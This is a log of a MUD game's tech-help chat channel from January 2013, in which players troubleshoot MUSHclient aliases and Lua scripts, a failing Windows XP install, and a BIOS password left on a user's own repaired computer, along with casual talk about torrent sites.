T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: You are sending multiple arguments to the hold command
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: but it sounds like you are scripting ok
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: My guess is you are not parsing the ; into 2 separate lines
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: the ids are correct
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: so it is sending in 1 big glob, and the mud doesn't parse the ; - your client needs to
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: nod, i could break it up into 3 Send()'s but I'm asking can it be done in one line
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: should be able to
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Why would you want to? And you can, but use /n
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: seems you can't use ; with send
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: nod, \n is good
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Like I said, use /n
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: \n, rather :-P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Huan Tech: or use execute()
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ya, didnt see you said that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: That said, it is probably not a good idea. Harder to read, and harder to look at and think 'why did I do that'
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: im porting scripts from TCL to LUA, its very convenient to be able to do that
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah, have to agree, multiple send lines would be nicer
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Convenience now, pita later
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: ive been doing it for years, not pita at all
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah tcl is like a languge that never really flourshised... i wonder why
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: I read a why did that fail article a while back... now I can't remember what the conclusion was... made a lot of sense at the time
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Swalec Tech: It did for a while -- now it only really exists in tk
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Swalec Tech: these things come and go
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Here it is: http://journal.dedasys.com/2010/03/30/where-tcl-and-tk-went-wrong
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: tcl/tk had a time... not for long tho
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: tk really evolved into things like GTK and stuff tho
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: tcl got left behind
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and GTK is very much alive and kicking
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: but GTK had open bindings, and with TK being open to other languages... TCL died
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Lololol... google chrome is now declaring tpb malware
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: given some of the spam links that it's popped up in recent months, it can't really be considered a safe site anymore
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: tpb died like a year ago anyway, it's just a shell of what it used to be
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: it was never a safe site :-) But if you know how to work it it can work for you
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: it's a RIAA shill now
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, but it was much safer than now
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: And for everything else there's /r/trackers
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: to use execute(), do I call os.execute()?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i like kat.ph
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: the new site for kickass torrents
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: ya
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: since their .com got shut down
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: still kinda hoping demonoid will make a comeback, but I'm not sure it's going to at this point
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: it has a pretty big price on it's head
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vakieh Tech: Demonoid never went away :-P It just went more private, and dropped the name. Once again, /r/trackers
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Zetkax Tech: os.execute() not working (doesnt seem to do anything)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: os.execute() seems wrong
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: os.execute() runs shell commands, not mud stuff
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Kaof Tech: can you put use an alias in a macro?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Anyone here have any idea why when I pass an array of arguments to my soap server from my php client, when the server sees it instead of a large array of items, instead I'm left with an aggragated string? Ie, instead of 20+ array items, I have a single string with all of the array items concatenated into with no way to know where to seperate (programmatically)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: I have an alias I previously created which is alias qs buy griffon. So whever I type qs at the Alchemy shop, I will automatically buy the flight potion. It works all the time but today I dont know what gone wrong with it, instead of buying the potion, the command become scan surrounding as in scan. I unalias qs but it still scan the area..any idea wats wrong?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Elxi Tech: Did you make a client alias for 'qs' ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: I dont know, how to check, maybe I accidentally type something
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Chimeishio Tech: did you recently install any new plugins?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: yea
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: yesterday
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: I install the winkle winkle one
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: b4 I install, it never execute wrongly
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: how do I solve this ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: I check the mush alias and I never make one there
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Chimeishio Tech: that plugin probably includes an alias for qs
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lulz Tech: The SnD part does - I believe it's for "quickscan" to find a particular mob.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: so can it be fixed? 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Elxi Tech: So, you can disable the plugin, make a different mud side alias to do your potion buying, or dig into the plugin and change 'qs'
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Chimeishio Tech: you could also add qs as a mush alias, and will do both :P
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: Assuming if I intended to go into plugin, how shall I do go about?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: is it complicated?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Elxi Tech: I think that's the worst option.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Vesuviou Tech: I just leave it as it be then, thanks all of u:)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Unfortunately the people who were helping me last night probably aren't here...My Windows XP all of a sudden is giving me an error and rebooting continually...wanted me to re-authorize but won't give me the opportunity
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: I've booted into safe mode/command prompt and run chkdsk , it fixed some sectors and indexes ... still have the same problem (lsass.exe status code 0) ... any suggestions?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: Whats the command to I guess send to script in mushclient? "/" doesn't seem to work. Tried "/Note "blah" as a test
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lulz Tech: I believe it's a triple backslash.  ///
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: hmm didn't work for me.  Where could I have changed it on accident in setings?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Dethronicus Tech: try \\\
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: Yep there we go thank you
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lulz Tech: Heh. Figured it was triple backslash, but I gave you the wrong slash :p
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lulz Tech: Oops!
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: So if it's not a simple physical HD issue (anymore, presumably), I guess next step is an anti-virus rescue disk?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: make backup while drive is accessible then reinstall windows
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Solaar Tech: how do you use a variable in mushclient.  like say variablename?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Drive isn't accessible right now...Can't even log into windows in regular or safe mode
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: you should also check hdd for bad sectors
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Dat Eutychus Tech: Is it ticking or clicking?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Dat Eutychus Tech: Your BCD/MBR may be screwed up.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: either check smart info (fast method) or use some disk testing software from manufacturers web page
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Already did chkdsk, it found a few bad sectors/indexes on my boot drive, ran it on my other HDD it didnt find any but said second boot sector is unwriteable
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Dat Eutychus Tech: You can download an ISO called Hirens(I recommend version 13) and use Vivard or HDAT2 to scan the sectors on the drive. Also theres a test called Hard Drive Sentinel that show health of the drive based on SMART warnings.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: chkdsk is FS level tool, you need hardware check
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Dat Eutychus Tech: Boot to Hirens, check hardware.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: consider making backup before taking any actions - even checking disk
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: HOw do I make a backup if I can't even get into the system ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: that depend on what resources you have available
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: if you have another PC where you can put that HDD into, or have other HDD drive taking backup is rather simple
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Nope, it's my only PC and I don't have an external case to hook the drives up to my mac..:-(
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: you could try boot from windows install CD and try to repair you installation
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: sometimes it works
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: but you should be aware that you may lose data
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: if you have mac available, then you could download live cd and then transfer files to your mac
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Lose it in a way that Acronis would probably recover it? Or like lose lose ? :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: everything *depends*
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: there are so many factors that one cannot say for sure whether you will lose it forever or that you will recover it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: considering fact that you have not used rescue tools before - that increases chance you will lose lose it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: OTOH considering fact you are able to use some live cdd - that increase chance you will recover it
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: If keeping data is paramount, is my best choice to pop the HDDs into another computer and retrieve all important files from there, before trying any windows repair?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: well, you can boot linux live CD, mount HDD partition and transfer files via ftp
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Or a USB.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: or a usb - even easier, or burn cd/dvd/bd
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Ohhh I get it now,...any particular distro?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Knoppix is commonly used, though to be honest Ubuntu should work fine too.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Sit like a Trurien Tech: OK, scratch the *is*. I can't justify that with recent data.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: knoppix seems good, you should pick that distro which have ntfs support
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: basically you need distro which is able to mount your Windows partition
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Sit like a Trurien rapidly nods twice, in complete agreement.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: the most common FS for Windows will be either FAT32 or NTFS
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: so your distro should support that filesystems, and Knoppix does
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Shirana Tech: Could anyone help with an issue with aliases? I'm trying to make the alias mentioned in help volley, but it's only executing the first command of the string. I'm sure I'm typing it correctly. I'm using the aard mushclient.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Getsuko Tech: You probably want to be using two semicolons
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Getsuko Tech: eg: alias hithere say hi;say there
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: how are you creating the alias
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Getsuko Tech: eg: alias hithere say hi;;say there
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Getsuko Tech: the latter
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Shirana Tech: I'm typing it like I thought the help file says: volley
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ixle Tech: The helpfile described a mud alias
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Ixle Tech: You are making a client alias
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Shirana Tech: hmm ok well I guess I don't understand the difference lol
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: you can press ctrl-shift-9, then Add for new alias
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: in Alias: you type vshoot
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: in Send: you type the volley and 7 shoots, on new lines
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mokg Tech: copy and paste this #alias {vshoot} {alias vshoot volley;;shoot;;shoot;;shoot;;shoot;;shoot;;shoot;;shoot}
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: so one line volley, one line shoot, next line shoot, etc
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mokg Tech: except on one line
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mokg Tech: er, without the alias in tehre
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mokg Tech: copy and paste this #alias {vshoot} {volley;;shoot;;shoot;;shoot;;shoot;;shoot;;shoot;;shoot}
T3/r7/2013-01-18.txt.gz:{chan ch=tech}TrEz Tech: and then in Send to: you pick world
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Shirana Tech: ahh ok finally got it! thank you very much for all the help. had to read it a few times but finally got it lol
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: does aard mushclient use sqlite 3 db?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: mapper does
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: mushclient also. look for files with *.db extension
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: and mapper db file is Aardwolf.db
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Trachx Tech: also mushclient_prefs.sqlite and help.db are in SQLite 3 format
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: can i reinstall plugin from command line?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Bast Tech: Jedhi: do you use any of my plugins?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: bast no, why do you ask?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: i'm developing new plugin and it would be faster to reinstall it from command line for code testing. create a alias or something. 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Nuanse Tech: like "ReloadPlugin ("ID")" ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Jedhi Tech: yeah, thanx alot
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Leinei Tech: In firefox, you can tell it to not use a proxy for certain websites.  Is there a way to tell it to use a proxy ONLY for certain websites?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: foxyproxy?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Leinei Tech: I think that might do what I want.  Thanks.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone have a descent method for converting iso's to MP4 or AVI on linux
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tigernuts Tech: avc works well for windows, don't know if there's a nix version
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Well, still can't boot normally into XP, BUT this Hirens boot disc someone suggested looks like it will allow me to back all the important stuff up to USB/disc before I end up reformatting
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: I know everyone has been eagerly awaiting updates on my broken PC :)
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: have you tried the install disk "repair" option ?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Not yet, that's what I'm going to try first but was told it may cause data loss regardless
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: i have used it serveral times, it hasn't lost anything for me
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: the AVG rescue CD found some trojans in old java cache files, but apparently could not fix it...has not been able to locate the sasser worm 
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: it might cause data loss if you choose the wrong options and reinstall the OS
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Luckily, I was smart enough to keep most of my personal documents on a separate hard drive, only thing I would really lose reformatting C would be all my save game files :-/
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: lmao what use is a AV that cant delete files in a file system thats not even live
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: AVG is complete crap
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Legendary Gruagach Tech: complete?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yes
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Legendary Gruagach Tech: k
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Mushambo Tech: Hmmm guess I'll try avira rescue as well
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: I just want a simple alias that will set two variables to mweapon and oweapon, and I'm being stupid apparently. What do?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: <alias   match="weap * *"   enabled="y"   sequence="100"  >  <send>mweapon = %1;oweapon = %2</send>  </alias>
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: how do I paste an alias like that?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: You use SetVariable("mweapon")=%1, I think.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: The way you have it now, it's setting variables, but it's Lua variables.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: yeah that alias was not gunna do what you want anyway
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: but copy, then file->import->clipboard
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: so how do I go from lua variables to uh variables in an alias?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: I just told you how.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: Though admittedly, it may be the wrong syntax.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: ah, sorry I read into that variables set that way i had to access
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Book of Etzli Tech: But almost sure you need SetVariable("mweapon") in it.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aldeas Tech: it got me close enough thank you
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lecithin Tech: Why, in zmud, is it that every time I quit it does not save my most recent script changes?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Gloindren Tech: I have no clue.  That's not a problem I've had.
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lecithin Tech: that was a very insightful response.  Thank you
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Lecithin Tech: any reason my zmud won't remember my map file when i load it then quit?  always reverts back to the old one
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Hanslanda Tech: what OS are you using it on?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Hanslanda Tech: how new?  Like this year's music shows new, or something around the age of The Band Perry?
T3/r7/2013-01-18.txt.gz:{chan ch=tech}Aliens Tech: vista or later screw with you depending on which folder you install to and wheather you run as admin
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok so infected pc will not log on to any webpages. when attempting to go to a webpage it prompts you for router username and password. give router username and password and still nothing. connect directly to modem and it will not connect to webpages. ping still works on both accounts though. any ideas/
T3/r7/2013-01-19.txt.gz:{chan ch=tech}GreenAcid Tech: in mush client whenever I click the alias/trigger/timer/anything in tool bar or open a menu the client crashes
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: sucks
T3/r7/2013-01-19.txt.gz:{chan ch=tech}GreenAcid Tech: the oly time it does not crash is when I open plugins with the shortcut
T3/r7/2013-01-19.txt.gz:{chan ch=tech}GreenAcid Tech: any idead?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}GreenAcid Tech: ideas*
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Vakieh Tech: while/else. Python, you one crazy mofo
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Aliens Tech: yeah python is eccentric, but it's good stuff makes up for it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Michels Tech: how do you turn off MUSHclient update check?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Trachx Tech: probably uninstall plugin
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Michels Tech: thanks! it works
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: how do you get a password off the hard drive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: you don't
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: format it, probably, or hacking until you guess right.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: use ophcrack
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i didn't install the password, but somehow it has one
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: my computer had a virus, and a guy was reformating it for me
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: lophtcrack won't do anything for hard drive passwords
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: probably shouldn't let that "friend" touch your valuables anymore.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: he was gonna redo windows ultimate for me
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: so he took it apart and put the board in another computer and it worked
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: sounds like he has a pw on his windows login?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: so its the hardrive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: it was my computer, i didn't have a password for windows login
T3/r7/2013-01-19.txt.gz:{chan ch=tech}CeriQ Tech: It's on the motherboard jameson.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}CeriQ Tech: You can USUALLY reset it by removing the motherboard battery.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}CeriQ Tech: To be honest though, it sounds like some guy stole your motherboard and gave you something worse.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: thats what i was thinking
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i remembered i have a 1600 mgz processor
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: heh, first you need to determine exactly what type of password it is...there are power on passwords, supervisor passwords, bios access passwords, hard drive passwords, and passwords associated with the OS
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: should i take it to a professional?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: all leads back to my friend-->valuables comment.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i think its a bios password, or sounds like it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: when does it ask you for your password....
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: on the lenovo laptop that I just got into, the power on password can be reset using the cmos battery, but the supervisor password (required to change bios) can only be reset by swapping motherboards...and hard drive password isn't reset even when reformatted
T3/r7/2013-01-19.txt.gz:{chan ch=tech}CeriQ Tech: Mokg - From what I know, the CMOS is always volatile memory, so if he finds and removes his motherboard battery, it should reset it all.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i know you can reset the bios with the prongs, but not sure about the harddrive
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: and many dells have a TPM, which cannot be reset with prongs or mobo battery
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: pretty sure hes just confused and its a windows password
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: is this laptop or tower? towers are intentionally less secure, as they presume that physical access is king, so they often have a jumper or button on the motherboard to reset the bios passwords
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: laptops don't trust physical access because they can be left anywhere
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: i was thinking he didn't rip me off because 1600 Mhz isn't something to get a hardon over
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: is there a way to not have chatter show up in the main window of the aard mush client
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: ignore
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: yes, check the right-click menu system for the comm log plugin window.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Medieval Jameson Tech: except on says, they can say anything
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Turie Tech: Not echoing it.
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Getsuko Tech: hm.  I see.  Any recommended plugins?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: starting with the aard mushclient package, finger bast and browse his wiki
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Getsuko Tech: thanks
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Ice Mage Demonspawn Tech: Is there a way to move the command line in mush?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Gnarcyon Tech: anyone know a good free media player that can open .flac sound files
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: most media players can play them using downloadable codecs, vlc will play damn near any audio or video file without anything else needed
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Gnarcyon Tech: ah damn didn't realize i hadn't reinstalled VLC since i formatted, thanks
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Prince Wario Tech: what command do I need to reset the mush client window
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: aard layout reset iirc
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Sobeit Tech: RESETAARD
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Prince Wario Tech: yes thats it
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: nod, I was confusing the reset with aard layout lock/unlock
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Ice Mage Demonspawn Tech: Is there a way to move the command line in mush?
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Ice Mage Demonspawn Tech: crap
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Mokg Tech: move your monitor
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Ice Mage Demonspawn Tech: I tried that, the command line wound up off the screen, it was the strangest thing
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: it'll let you minimize the command window to nothing, but when you type, it'll restore to normal size
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Ice Mage Demonspawn Tech: Aye, I was hoping for a way to anchor it to the main output window so that it was aligned somewhere other than the bottom left corner
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Tech: nope, can't be done
T3/r7/2013-01-19.txt.gz:{chan ch=tech}Hanslanda Tech: in CMud I could just use  to reference the ansi escape code.  Does regex have a way to do the same?
